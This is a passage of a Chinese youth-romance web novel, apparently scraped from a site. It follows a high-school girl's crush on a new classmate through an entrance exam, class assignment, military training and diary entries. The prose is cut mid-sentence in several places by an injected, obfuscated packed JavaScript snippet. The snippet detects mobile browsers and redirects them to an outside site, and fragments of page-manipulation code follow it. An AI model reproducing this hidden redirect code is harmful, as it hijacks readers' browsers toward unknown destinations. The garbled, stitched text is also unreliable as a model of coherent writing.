男生手臂的线条流畅分明,骨节分明的手指轻松的抓着篮球,双腿微微屈膝,随后跳起,篮球从手掌中以流畅的抛物线飞跃而出,就这样很简单的掉进篮筐。 又弹入地下。 一个干净利落的三分球。 男生反手扣住在地面弹跃的篮球,段圆圆右手的笔也不转了,托着腮,安静的等待着男生投入第二个三分球。 一阵微风吹过,楼外的香樟树被风吹的树叶簌簌作响。 第二个三分球迟迟没有下落,男生始终没有投篮。 许是烈日的篮球场太过空旷,又许是人类对外来注视视线的本能敏感性,又许是段圆圆自己心底说不明的情绪。 她似乎感觉男生似有非有的盯着远处、朝她这边轻轻笑了笑。 段圆圆的视线和他隔着半条巷子的距离、和他是平地和四楼的距离。 他们就这样直直的对视在一起。 阳光太刺眼,逆着光,看不清男生的脸。 可段圆圆却能清晰的看到他的眼睛。 那是一双冷峻、清澈的眼睛。 干净的眼睛一眼就能看到底,可却看不透他的眼里在想什么。 但那清冷的眼睛里折射出的目光却又是炙热的、滚烫的,灼烧的她下意识的在半秒内立刻低下头,浑身僵硬,眼眸慌张的向四周飘忽。 她的血液在一瞬间仿佛停止流动,心脏要从嗓子里跳出。 男生又似乎压根儿没往这边投来目光,他低头看了眼手机,随即向篮球场外走去,他的脚步慵懒,篮球在他的指尖上转着圈。 上课铃这时候刚好响了,段圆圆不得已坐回到座位上。 她不停的深呼吸,努力维持着表面的镇静,也好让脸颊快速降温。 这节课是物理。 段圆圆的成绩很均匀,算得上是不错,而且也不偏科。 虽然高一不分文理,但她本人早已经有了想法,她更想在高二分文理时选择文科。 所以物理她并不打算多么认真的听。 老师讲的是匀变速曲线运动,在黑板上画了一组抛物线图例。 段圆圆看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽然他看不清他的模样,也不知道他的名字。 但那双清澈又炽热的眼睛,一直在她的脑海里挥之不去。 接下来的几天,段圆圆开始不再厌倦去成魁教育。 就连去辅导班的路上,每日必经的那条她不喜欢的小巷,她也哼着歌,戴着太阳帽,悠闲地走着。 但是无论烈日还是多云,这个暑假她都没有再从教室里眺望到过那个男生。 仿佛那日的篮球场上浅浅一眼,只是这个夏天一闪而过的专属错觉。 5. —矛盾点— 八月中旬,江坞一中将每一位学生的录取通知书邮寄到家。 随通知书一起来的,是一份全科试卷。 江坞一中开学第一天,要进行一次开学考试,是为了让玩了一整个暑假的学生们收心,立刻进入到高中的学习状态中去。 这份试卷,和第一天要考的题型类似,可以作为复习的参考。 段圆圆收到这封通知书后,确切的有一种她要进入江坞一中的真实感了。 她一字一句的看完了录取通知书,想知道自己被分到几班,但这上面并未详细说明分班情况。 只是说明了开学考试的考场和考号。 开学前的最后一个周末,段圆圆和她的好朋友周热一起吃了顿饭,纪念彼此高中前最后的自由。 她们是初中认识的好朋友,两个人都考入了江坞一中,自然也希望高中能继续像初中一样继续做同班同学。 周热吃了一口冰粉,“我听我哥跟我说,一般开学考试考场里的同学,大概率就是一个班的同学。” 周热的亲哥哥陈子深已经从江坞一中毕业很多年了。 说的话自然比不知打哪儿听来的小道消息靠谱的多。 “真的吗?”段圆圆深信不疑,“我在第八考场,你呢?” “好巧啊,我也是第八考场啊!” 两个女生激动的在冰粉店内笑着,同在一个考场的喜悦冲散了她们对高中未知的担忧。 很快到了开学这天,那是一个天蓝碧水的艳阳天。 校门外停满了私家车,都是家长来送孩子的。 江坞一中将总校区和分校区合并后,第一次大规模扩招,招生人数增多,这次的高一新生足足分了二十个班级。 第八考场在教学楼的二楼。 段圆圆和周热一起进了考场,找到自己的座位后安心坐了下来。 她们到考场的时间算是早的,教室里现在基本没有什么同学。 段圆圆和周热的位置离得不算进,在教室里呈一条对角线,两个人对视一眼,默契的笑了笑,不约而同的开口,无声的说了一句“加油”。 很快教室里陆陆续续的进来了其他同学。 离考试还有十分钟,考场里的学生们基本都到齐了,监考老师开始发试卷。 段圆圆拿到试卷后第一件事就是写名字和考号。 她写完名字后,不经意的抬头一瞥,她斜前方的凳子还空着。 段圆圆心想,江坞一中竟然也会有学生第一天就迟到? 随后她没做他想,继续低头落笔开始认真答卷。 教室里瞬间安静,只剩笔尖和试卷摩擦的沙沙声,还有风扇吱吱转的声音,在安静的教室内这些细微的声响被无限放大。 数学题一上来就很难,段圆圆废了大半张的草稿纸才算出来最终的结果。 她长吁了一口气,填好答案,准备继续再看下一题。 突然之间,教室的门被推开,发出“吱啦”一声,在安静的考场格外明显。 考场大部分学生被突入起来的声音吓了一跳,大家一起抬头,看向门口。 段圆圆也被门口的声音吓了一跳,她的手一抖,在草稿纸上画了长长的一道,这还好是在草稿纸上,要是在试卷上就麻烦了。 她有点不开心,她抬头看向门口的“罪魁祸首”,想看看究竟是谁,迟到都这般明目张胆。 教室门口站了一个男生,穿了一件纯黑色T恤,发型清爽干净,眉骨高挺,眼睛是漂亮的丹凤眼,眼尾微微上挑,眼神却凌厉冷漠,却又清澈。 段圆圆心底毫无由来的一颤,刚刚的不开心瞬间烟消云散,随之而来的,是她被一种巨大的惊喜裹挟住。 这双眼睛,她在这个暑假里暗自期待了很多次想要再见一面,但却再也没有见到过。 直到现在,此刻在江坞一中的教室里。 这是段圆圆第一次看清楚篮球场上拥有清澈双眼的男生到底长什么样子。 他的个头很高,目测至少要有一米八八,下颌线流畅,只需要看一眼,就能看出他五官组合在一起帅气的十分和谐。 教室里不少女生没有按耐住,坐在座位上倒吸一口气,“哇”的赞叹了一声。 一身黑色的穿着让他看起来冷漠,又有些桀骜不羁,看起来比许多电视上的明星都还要好看。 监考老师问了他的姓名,他站在教室门口,漫不经心的开口,“纪预。” 他的声音清脆干净,带着些许慵懒的沙哑,如一阵风拂过,让听到的人不经意的恍惚。 教室里不少女生忍不住和旁边的同学交流,一时间没有刚刚那么安静,段圆圆有些没太听清楚,他究竟是叫“际遇”,还是“季雨”,又或者是什么其他的读音。 但是,不论他叫什么,总归又一次见到他了。 窗外的蝉鸣声不止,虽然已经进入八月末尾,但天气仍然闷热浮躁。 段圆圆在夏末秋初第一次感受到了一种无穷无尽的、从未有过的喜悦。 这种喜悦让她的心底瞬间裂开了无数的细纹,淡粉色的快乐因子止不住的漫溢而出,如肆无章法的野火燎原般,毫无顾忌的填满了她的整颗心脏。 监考老师仔细对比了一遍考生安排图,口吻有些严厉,“纪预是吧,开学第一天就迟到,赶紧过去坐好考试吧,你知不知道你这样多影响其他同学答题。” 男生根本不太在意老师说了什么,他的手里就拿了一支中性笔和涂卡笔。 段圆圆看到了从他手里露出的笔帽,心微微一紧,又下意识的握紧了自己手里的笔。 她只看了一眼笔帽,就认出男生手里的中性笔和她现在正在答题用的笔是同一个牌子、同一个颜色、一模一样的墨蓝色中性笔。 除非学校重大考试规定了必须用黑色中性笔,其余时间段圆圆喜欢用墨蓝色的碳素笔,她的同学们更喜欢用黑色或者蓝色,平时像她这样用墨蓝色的,她很少见到。 她的心像是察觉到了什么不可言说的、属于她自己的秘密,心脏紧张到漏跳了一拍。 段圆圆看着他走到了她的斜前方,两支笔随意的放到桌子上,修长的手指拉开凳子,坐下后没有立刻答题,而是先翻看了一遍试卷,随后他轻笑了一声。 段圆圆坐的位置刚好能将他嘴角的笑看的清楚,她心想,他是不会做这些题,还是觉得题目太简单了? 她私心更希望是后一个答案。 也隐隐的确定,一定会是后一个答案。 又已经恢复安静的教室里猛然响起一声低沉慵懒的声音,打破了教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原来他叫“纪预”。 不是“际遇”,也不是“季雨”。 而是“纪预”。 纪念的“纪”,预蕲的“预”。 他很快将被卷起的卷角压平,带着名字的一角只一瞬间就被他压在了胳膊下。 但段圆圆只需要一眼就牢牢的将他的名字记在心里。 这时候的段圆圆怀着少女懵懂的小心思,怎么也想不到这简单的两个字将和她一生交织。 段圆圆到最后稀里糊涂的交了卷,试卷上写了些什么她自己都不清楚。 数学考试结束后,有十五分钟的休息时间。 有不少女生都想过来和纪预搭话,但是纪预交完试卷后,都没管讲台上的监考老师是否离开,就毫不在意的趴在桌子上直接睡了过去。 以前考完试,段圆圆总忍不住和同学们对一下答案,聊一聊试卷上的题,但现在,她和好朋友周热就在一个考场,她也完全忘记了要讨论试卷的这件事。 她坐在自己的座位上,认真低着头,像是在为了下一场考试做准备。 可忍不住时不时抬眸的双眼,和快要跳出胸口的心脏,彻彻底底的将她出卖。 6. —隔壁班— “刚才的题好难啊,我都没做完,你呢?” 一道甜美的女声在段圆圆耳边响起,将她从自我沉浸的世界中捞回。 段圆圆故作镇定,嗓音努力维持着平静:“确实是很难,好几道题我也不会呢。” 周热把她从椅子上拽起来,“难的话大家都觉得难,都已经考完了,还在看草稿纸研究什么?陪我去厕所吧。” 她们现在的位置离教室的前门更近一些,段圆圆被周热挽着手臂,向教室前门走去的时候一定会从纪预身边经过。 刚好段圆圆在靠近纪预的那一侧。 她心底的莫名泛涌上一种紧张与期待交织的感觉,这样的感觉让她脚底的步伐都有些不自然。 三步、两步、一步。 段圆圆从纪预的身边擦身经过。 纪预仍然趴在课桌上补眠。 对此毫无察觉。 她的指尖甚至无意间不经意的擦过他因为趴着睡觉而搭在桌子外侧的黑色短袖。 指甲的触觉并不是天生敏感,但段圆圆就在刚刚甚至每一丝神经末梢都微妙的察觉到了他衣服的质感,是很舒服的纯棉布料。 纪预似乎睡的很熟,他完全没有察觉到,有一个女生从他身边擦身经过,紧张到心脏都要跳出来。 可段圆圆好不容易恢复平静的心又一次泛起阵阵涟漪,一圈圈不停的激荡着。 直到出了教室,周热才发现段圆圆有些不对劲儿,她轻轻皱了皱眉头,“圆圆,你现在很热吗?要不咱们快点回教室吧。” 段圆圆下意识的“啊?”了一声,随后回复道,“我还好吧,考完数学心都凉了,也没有很热啊。” 周热大大咧咧的说:“看你的脸红了,还以为你热呢。” 段圆圆微微一滞,手心抚了抚脸颊,确实有些烫,语气有些不自然,“也是,今天这天气是挺热的哈。” 女生厕所里现在已经有了不少人,甚至还需要排队。 段圆圆和周热站在几个女生的身后,这期间厕所的聊天声就没有断过,果然女厕所是世界上八卦最多的地方。 不知道哪个女生在和她的朋友讲:“啊!你知不知道,我们考场今天来了个大帅哥,祈祷我和他一个班!” 这个女生的声音里是藏不住的兴奋。 其他在女厕所排队的女生很敏锐的捕捉到了“大帅哥”这个关键词,叽叽喳喳的凑到一起,打听着那个男生到底有多帅。 大家你一言我一语的就聊起来了。 段圆圆就站在一旁,这些话一句不落的都钻进了她的耳朵里。 她刚刚听到那个女生讲话的时候,心里莫名的一紧。 她认出来了,这个女生和她在一个考场。 那个女生提到的“大帅哥”,一定说的是纪预。 随后紧跟着的是突然有些难过,这就像是她自己一个人几不久前发现了的璞玉,现在被所有人都看到了。 是璞玉注定不会被蒙尘。 她的难过也毫无理由,璞玉自始自终从不是她的。 可她就是心底隐隐的有一种心脏被悬吊的不适和酸涩。 刚刚说话的女生是个自来熟,对着段圆圆和周热直接开口道:“我认得你们两个,咱们都是一个考场的,你们是不是也觉得他特别帅,对吧。” 周热摆了摆头,“我就注意试卷了,我没注意他长什么样子。” 那个女生见周热没有注意到,那就没有人和她继续讨论那个男生究竟到底有多帅,见厕所里其余的女生们并不是完全相信她说的话,她像是要证明自己说的都是实话一样,立刻把目光转向段圆圆,“这位同学,你觉得呢?是不是超级帅!我没乱说吧。” 段圆圆抿着嘴,面前的门刚好那里面传来冲水的声音,里面的女同学推开门出来了。 段圆圆伸手指了指,没有回复刚刚那个女生的话,她紧接着就进去了。 锁上门,在厕所的隔间里,段圆圆摊开掌心中被她拽的包装袋都已经皱皱巴巴的卫生纸。 她默默盯着那一小包带着茶香的卫生纸,这一瞬间,她什么也不想去想。 回到教室时,段圆圆特意拉着周热从教室的后门进去。 纪预仍然趴在课桌上。 直到监考老师来教室发卷子他才怏怏的起来。 考试的时间过得很快,老师等到截止时间,收完卷子后,站在讲台上,笑意洋洋的对大家说:“同学们,恭喜大家考试结束,正式进入高中生活,你们的分班情况贴在教室门口了,大家收拾完自己的东西就可以去找新班级了,祝大家都拥有一段难忘的、美好的高中时光。” 段圆圆听闻后有些诧异的抬起头,和她一样感到诧异的教室里还有不少同学。 有同学问出了段圆圆心底想说的话:“老师,考场不就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346160|152686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按新学期的班级分的吗?怎么还要重新分班啊。” 这位同学的疑惑说出后,不少同学都表示附和,按照江坞一中以前一贯的传统,他们坐在这间教室里的,以后就是同一个班的同学才对啊。 讲台上的老师仍带着微笑,像是提前预料到了他们会这么问一样,缓缓的开口道:“因为今年是总校区和分校区合并的第一年,很多往年的规则都改了,新学期新气象嘛,同学们,你们在座的可都是第一批吃螃蟹的人喔,要珍惜这个机会喔。” 听到老师的这个解释,同学们仍然不满意。 可他们的不满意也无法改变已经重新分班的结果。 只能收拾好自己的文具,去教室外看自己的新班级。 段圆圆的心瞬间跌入谷底,写着分班情况的红纸前围着一群人,她没兴趣一起进去挤。 周热倒是很兴奋的冲到前排,仔细看了一圈名单,随后声音里都带着失落,“啊,圆圆,好遗憾我们没法继续做同学了。” 段圆圆听到后的心情更加低落了。 “你别这么难过啊。”周热见段圆圆脸色都不太对劲了,立刻安慰她道:“我们虽然没法在一个班,不过呢,咱们两个的班离得还是很近的!” “真的吗?” 现在人少了很多,段圆圆凑到红纸前面,从上到下挨个找她的名字。 人往往专注于自己潜意识里想要看到的。 她第一眼看到的,不是她自己的名字,而是纪预的名字。 纪预的名字后面紧跟着的是“高一(10)班”。 她的心微微一颤,牢牢的将“十班”记住后,又继续找到了她的名字,她被分到了高一九班。 十班,九班,只有一墙之隔。 周热怕段圆圆还没有找到她的名字,指给她看:“你看!你在九班,我在十班,我们高中虽然不在一个班了可是紧挨着呢。” 段圆圆知道自己不该贪心。 如果今天没有遇见他,那么只是今天遇见就已经很满足了。 如果不是和他一个考场,那么只是能和他隔壁班就已经很满足了。 瞧,安慰大法还是管用的,设想一下更糟糕的情况,再看看现在,应该满足的。 段圆圆深呼吸了几下,调整了一下心情,微微笑着对周热说:“嗯,你说的对,隔壁班也不错啦,我们现在顺路一起去新班级吧。” 7. —军训周— 高一九班和高一十班紧挨着。 周热和段圆圆在教室外拥抱了一下,就各自到自己的新班级了。 段圆圆走进九班的教室,找了一处中间偏后但是靠窗的座位坐了下来。 她刚刚坐好,旁边同桌的位置就立刻有人坐下来。 是一个很明艳的女生。 段圆圆看着她有些眼熟。 好像就是考试休息时在厕所里说的很欢畅的那个女生。 她也很快认出了段圆圆,热情的自我介绍:“我们刚刚在一个考场的,我叫许净欢,你叫什么?” 段圆圆有些慢热,友好地笑了笑,“我叫段圆圆。” 许净欢的性格很外向,真的有些自来熟。 她低着头对段圆圆讲:“刚刚在厕所的问题你还没回答我呢,咱们考场里那个男生确实很帅吧。” 段圆圆抿着嘴,声音平平,努力维持着平静,随后缓缓开口,“是吗,我没太注意。” 许净欢没有察觉到什么不对,有些失落,“你也没注意到啊,不过没关系,那个男生在咱们隔壁班,下课后咱们一起去看看!” “啊?”段圆圆轻轻一声,重复了一遍许净欢的话,“就在咱们隔壁班啊。” 许净欢笑着说,“是啊,可惜在考场没听清他叫什么。” 段圆圆没有继续回话,而是在心底默默的说,他叫纪预。 许净欢还想说些什么,她们的新班主任就到教室了。 老师是一位头发不多的中年男性,身高倒是不矮,看起来颇具威严,估摸着年龄大概有四十岁上下。 “我姓胡,古月胡,全名胡时磊,是你们的数学老师兼班主任,至少在未来一年内将和在座的各位一起努力,希望我们的奋斗目标是一致的。我,为了你们的好成绩努力;你们,为了自己的好成绩努力。” 胡时磊声音洪亮,很有感染力,站在那里一眼就能看出来,他一定是教书育人的老师,“那么剩下的时间,大家做一下自我介绍吧,你们将是未来一年或者更久远的同学、朋友、对手和战友。” 大家的自我介绍都没什么特色,无外乎姓名之类的,一圈介绍下来,段圆圆并没有完全记住所有同学。 胡时磊等到所有的同学都介绍完了,才开口:“大家没有记全也没关系,明天正式开始军训,你们还能慢慢认识。” 开学第一天就这样结束了。 因为是开学第一天,所以没有晚自习,放学的时候,夕阳半落未落,天空金澄一片。 学校之前发的校服和军训服,杜女士都洗好晾干了。 段圆圆闻了一下,有一种洗衣液和经过太阳暴晒后的特有混合芳香。 夜晚段圆圆躺在床上,微凉的风透过窗户钻进她的卧室,她闭上眼睛,怎么睡也睡不着。 白天发生的一系列就像影片一样一幕幕的在她的脑海里浮现。 她的指尖似乎仍保留着碰擦过纯棉质地布料的错觉。 想到这里,她忍不住将手指藏进夏凉被内,害羞的的握拳,弯了弯手指。 她的脸微不可察的、在黑夜里,变红了。 第二天仍是个晴朗的明媚天气,可要军训的新高一学生们并不喜欢这样的天气。 两两挨着的是兄弟班级,军训的位置里的很近。 高一九班和高一十班的军训位置都被分到了篮球场上。 大家都穿着迷彩短袖,军绿色的长裤,腰间系着深棕色的腰带,统一的绿色胶鞋,学校还贴心的给每个人都发了一顶军绿色的帽子。 这样的打扮让大家看起来都是朝气蓬勃的精神,但一模一样的打扮再加上被帽子遮住的脸颊,却不怎么能分出谁美谁丑。 但是即使是大家现在都是“平均脸”,可仍有人能在一群人中脱颖而出。 昨天胡时磊没有重新排座位,就按照大家自己来到教室的座位那么坐的。 段圆圆和许净欢仍是同桌,两个人自然走的比旁人更亲密些。 许净欢激动的拍了拍段圆圆的胳膊:“你快看,斜对面十班第一排的那个男生。” 段圆圆抬眼望去,第一排站了至少有十五个男生,可她一眼看到的,就是站在第一个的纪预。 他身姿挺拔,气质不凡。 分明穿着和大家一模一样的军训服,可一眼,就能看到他。 也只能看到他。 旁边的人,现在在段圆圆眼里都成了模糊的背景板。 许净欢见段圆圆没有反应,继续在她耳边激动的说:“是不是超级帅!” 段圆圆迅速收回目光,平时前方,故作镇定的轻轻点了点头。 在烈日下站军姿并不轻松,一中的室外篮球场很大,在这里军训的不止他们两个班级。 但他们两个班级站军姿的时候正好面对面。 段圆圆站在女生里的第一排,她的前面还有两排他们班的男生。 这两排男生前面空了一块场地,紧接着就是高一十班。 纪预站在高一十班的第一排。 段圆圆他们班男生的身高普遍不矮,至少比她高了要有半个头那么多。 军训的时候普遍都是男生站在前面,高高的个子能为后面的女生遮一点太阳。 当然,这只是教官安慰大家这样说罢了,空旷的篮球场,连树都没有,烈日就在头顶,对所有人雨露均沾。 段圆圆站在第三排,前面的男生的后背挡住了她的视线。 她能看到的,就仅仅是自己班男生。 她心里有些遗憾,要是能站在第一排就好了。 在烈日下站军姿,实在不是一件舒服的事情。 在酷热的太阳下反复炙烤,没多久额头上就冒出了细密的汗珠。 杜女士为了军训特意给段圆圆准备的高倍数防晒霜,没多久就在阳光下和汗水混合到一起。 段圆圆甚至能感受到汗珠顺着额头向下流淌。 她在心里祈祷:千万不要流进眼睛里。 她甚至在教官背过身子的那一瞬间,悄悄张开嘴向上吹了吹,想把汗珠吹偏。 可她失败了,夹杂着防晒霜的汗珠流进了她的左眼眼角。 轻微的刺痛让她左眼瞬间紧闭,脑袋也下意识的转动了一下。 就在这一刻,她的视线不再仅仅是面前的同班男生。 她刚好能透过前面同学站军姿时人与人之间的缝隙,看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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十五个俯卧撑做完,段圆圆他们班终于也进入了休息时间。 许净欢和段圆圆一起坐到一旁,段圆圆拧开自己的水杯。 里面泡的是杜女士特意准备的菊花茶。 败火、解暑。 许净欢半开玩笑的说:“我刚刚看见你冲着十班笑哎,你是不是也觉得对面班男生的颜值明显比咱们班要好。” 段圆圆立刻认真的解释:“不是的,是我的好朋友在十班,我只是在跟她打招呼。” 许净欢心中了然,“原来如此,不过你的好朋友不应该在你身边嘛!” 随即还把脸伸到段圆圆面前,冲她大笑。 少女之间的友谊很纯粹、很简单。 一个微笑、一句话,或者一件事都很容易让她们迅速建立起友谊。 譬如一起上厕所。 许净欢和段圆圆一起向教学楼的卫生间走过去。 临起身前,段圆圆借着放水杯的动作不经意的向十班的方向看去。 纪预依旧在一群人中恣意夺目。 8. —没关系— “我看过天气预报了,最近一周也不下雨,你说咱们多放几遍萧敬腾的‘王妃’管不管用?”许净欢站在水池前,用冷水洗了一把脸。 “当然不会管用的啦,上海的台风‘海葵’和他的演唱会只是巧合罢了。”段圆圆也冲了冲手,水冰冰凉凉的,瞬间缓解了不少暑热。 “要是真的就好了,好希望下雨啊!”许净欢叹了口气,“咱们回去吧,一会儿该集合了。” “好。”段圆圆甩了甩手上的水,水滴有的落到了许净欢的脸上。 “哇,好凉快,你试试。”许净欢故意的把手上的水甩到段圆圆的脸上。 两个人边笑边闹的出了卫生间。 拐角处,段圆圆仍然侧着身和许净欢打闹,没有看前面的路。 结果她不小心撞到了,对面没有闪躲开的同学。 额头撞到对方的胸口处,段圆圆“呲”的吃痛一声,扶了一下额头,随后连头也没抬起来的立刻道歉,“同学,对不起。” “没关系。” 是声音很好听的男声。 段圆圆的心跳在听到这一句后骤然加快。 她抬起头,她没有听错,竟然真的是纪预。 他的嘴角含着笑意,没有段圆圆设想的被人撞到的不悦。 夏天本就燥热,两个人近距离的接触让她瞬间被热浪包裹住。 她还想再说句抱歉的,力的作用都是相互的,她的额头现在还在痛。 那她刚刚结结实实的撞纪预那一下,他也一定很痛。 可她看向纪预时,他的脸清爽干净,段圆圆猛然回忆起来,似乎刚刚,他的胸前,是很好闻的清香。 纪预的表情淡淡,丝毫看不出疼痛或者其他什么不适的症状。 话在嘴里还没来得及说出口,纪预和他旁边的男生就继续向前走了。 段圆圆仍站在原地,纪预旁边的同学一定以为她们早已经离开了。 因为段圆圆听到纪预旁边的男生突然对纪预来了一句,“啧啧,这是投怀送抱啊。” “别乱说。”纪预的声音很认真,很严肃,完全没有调侃,没有不尊重女生,“以后这样的话不要再乱说了。” 纪预旁边的男生还有些不服气,“我怎么乱说了,这两天都多少女生故意到你身边凑了,只不过这是唯一成功的一个罢了......” 纪预仍然很认真的重复了一次,语气很严肃,大有一种“如果你再乱说你以后就不再是同学”的态度:“刚刚她只是不小心,你以后别乱说了。” 即使他们的声音随着距离的远去越来越小,可段圆圆仍然将他们的这段对话听的一清二楚。 她说不清她现在心底是酸涩多一些,还是开心多一些。 “你的头还疼吗?”许净欢紧张的问段圆圆。 段圆圆吸了一口气,“我没事了,净欢,我们回去吧。” 许净欢调侃着笑道:“好哎,不过刚刚,你撞到的是十班的大帅哥哎!有什么感觉吗!” 滚烫、坚硬、有温度。 段圆圆的额头像是被火灼烧过的一样炙热。 虽然他看起来很瘦,但是一定是网上说的那种“穿衣显瘦,脱衣有肉”的类型。 刚刚的那一下,不像是撞到了额头,更像是撞到了段圆圆的心上。 “感觉就是......挺疼的。”段圆圆低着头,忍不住又用指尖碰了碰额头。 “啧。”许净欢对这个答案不太满意的摇了摇头。 接下来的军训中规中矩,教官之前“杀鸡儆猴”的效果明显很好,大家都乖乖的听指令行动。 好不容易挨到一天的军训结束,许净欢拉着段圆圆立刻奔向食堂。 “快跑起来,趁着高二高三的还没下课,咱们先过去,不用排队。” 江坞一中不愧是重点高中,就连食堂都有四层,而且里面的食物种类很多,味道都不错,堪比餐厅的大厨。 段圆圆和许净欢找了一个人少的窗口排队。 “我们争取九月份就把食堂吃个遍。” “哈哈哈,圆圆我们不愧是好朋友,想到一起去了!” 段圆圆和许净欢到的早,前面没有几个同学排队,很快她们就打好菜了。 他们找了一处还没有被同学放上胶带或者发卡等等各种可以占位的空桌子坐下。 段圆圆一边吃饭一边感慨,“学到了,明天咱们也用皮筋提前占个位置。” 许净欢喝了一口汤,“我没想到,你在吃饭这方面话这么多。” 段圆圆被许净欢这句话冷不丁的呛了一下,立刻咳嗽了两声,脸颊被呛的通红。 许净欢抬手帮她拍了拍后背,结果还没拍两下,就悄悄附在段圆圆耳边对她讲:“你快看最东侧的云吞面的窗口。” 许净欢的语气里充满了八卦的味道,没有人不爱八卦。 段圆圆的咳嗽止住了,也顺着许净欢的话向最东侧的窗口看去。 有一个穿着校服的高二学姐在仰着头对纪预说话。 随后听不清纪预说了一句什么,学姐就失落的离开了。 “我靠,本来就是想让你看看学姐要学弟的联系方式,没想到竟然又是十班那个帅哥。”许净欢不停的感叹着,“才军训的第一天,就开始了,以后这得有多少啊。” 江坞一中除了用铭牌区分不同的年级之外,高一高二高三三个年级分别还是不同颜色的校服。 现在夏季的校服高二是淡蓝色,高三是淡黄色。 刚刚高考完的那一届高三的白色,所以段圆圆他们这一届应该就是白色校服。 刚才的学姐穿的是淡蓝色的短袖,是高二的学生。 段圆圆有些好奇,“你怎么知道学姐是去要联系方式的?” “那当然啦。”许净欢笑着说,“不然还能是去问学弟食堂什么饭好吃嘛?而且你看那个帅哥只说了一句话,学姐就垮着脸离开了,肯定是被拒绝了,你还记得今天在卫生间那个男生的同学说的吗,这两天都多少女生都到他身边去凑......” 段圆圆默默的吃了一口盘子里的菜,江坞一中的食堂哪有流传的那么美味神奇,菜的味道也不过如此。 虽然还在军训,但他们仍要适应高中生活,要开始上晚自习。 只不过正常的两节晚自习在军训期间只上一节。 他们高一需要的课本都已经发了,段圆圆在所有的书的扉页上都写好了姓名和班级。 老师没有布置任务,这些晚自习就让他们自由预习。 夜晚的风带着微凉的舒爽,段圆圆从书包里拿出了她的日记本。 一个在暑假刚买的、只写过两句话、还算崭新的日记本。 她翻开,看到了自己在暑假写的那两句话。 2012/07/23 ·辅导班很无聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346162|152686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但我今天看到了一双好看的眼睛,希望明天还能遇见他。 2012/08/26 ·今天是开学第一天,我终于又遇见他了,这是我收到的最好的开学礼物,原来他叫纪预。 晚风吹的教室外的香樟树树叶簌簌作响,段圆圆提起笔,又在日记本上写上了一句。 2012/08/27 ·他对我说的第一句话是“没关系”,不知道我们以后还有没有说第二句话的机会。 八月的晚上很舒服,星光点点,就连风都是温柔的。 许净欢和周热都是住校生,段圆圆是走读生。 回南巷离江坞一中不远,而且学校里应该也有很多走读生都住在回南巷。 高一九班的教室在三楼,十班的教室在最西侧,楼梯在十班旁边。 还有一侧楼梯在最东侧,如果是去校门,东侧的楼梯会近一些。 许净欢问她要不要一起顺一段路,段圆圆说她和十班的朋友约好了一起走。 她其实没有和周热约好,只是她选择了走西侧的、能路过十班的楼梯。 可真的路过十班时,段圆圆仍然看着前面的路,分毫目光也没有向十班的教室里看去。 “圆圆!等等我。”她经过十班时,后门突然有人叫住她,是周热。 段圆圆在十班的教室后门处停下来,周热想和她一起下楼。 周热坐在教室的倒数第二排靠后门的位置,而她的后桌,竟然就是纪预。 段圆圆站在十班的后门门口,她这才抬起头,把目光大方的看向十班的教室内。 纪预就离她两步远的位置。 他的注意力都在面前的书上,不是高中课本,是段圆圆完全看不懂的编程。 段圆圆在心里想,如果他回头的话,他一定会看到她。 那她要不要说什么? 她要不要再说一下,今天白天真的对不起? 但是,他还会记得她吗? 周热打断了段圆圆此刻的思绪,“我收拾好啦,咱们走吧。” 少年的侧脸线条流畅,手中握着墨蓝色中性笔不停的演算着什么。 他的目光都聚焦在草稿纸上,仍然没有抬头。 段圆圆就这样和周热离开了教室。 段圆圆忍不住开口问周热:“你们班后门的那个男生,是你后桌?” “你说纪预?对呀。”周热笑出声,“你不是都看见了嘛!” 段圆圆抿了抿唇,“我刚刚不小心看到他做的题,都不是高中内容。” “这我就不知道了,我只知道他没有中考成绩,好像是外地转学过来的。”周热像是倒豆子一样的对段圆圆说,“你知道吗,从分班之后到今天,我都看到好几个别的班的女生过来悄悄看他了,真的有这么帅吗?我没觉得呀。” “你眼里除了工藤新一还能有谁呀。”段圆圆听到很多女生来看纪预之后,其实已经没有太多感觉了,早就知道的事实,再多听一遍,也只是更加麻木而已,“那他呢?” 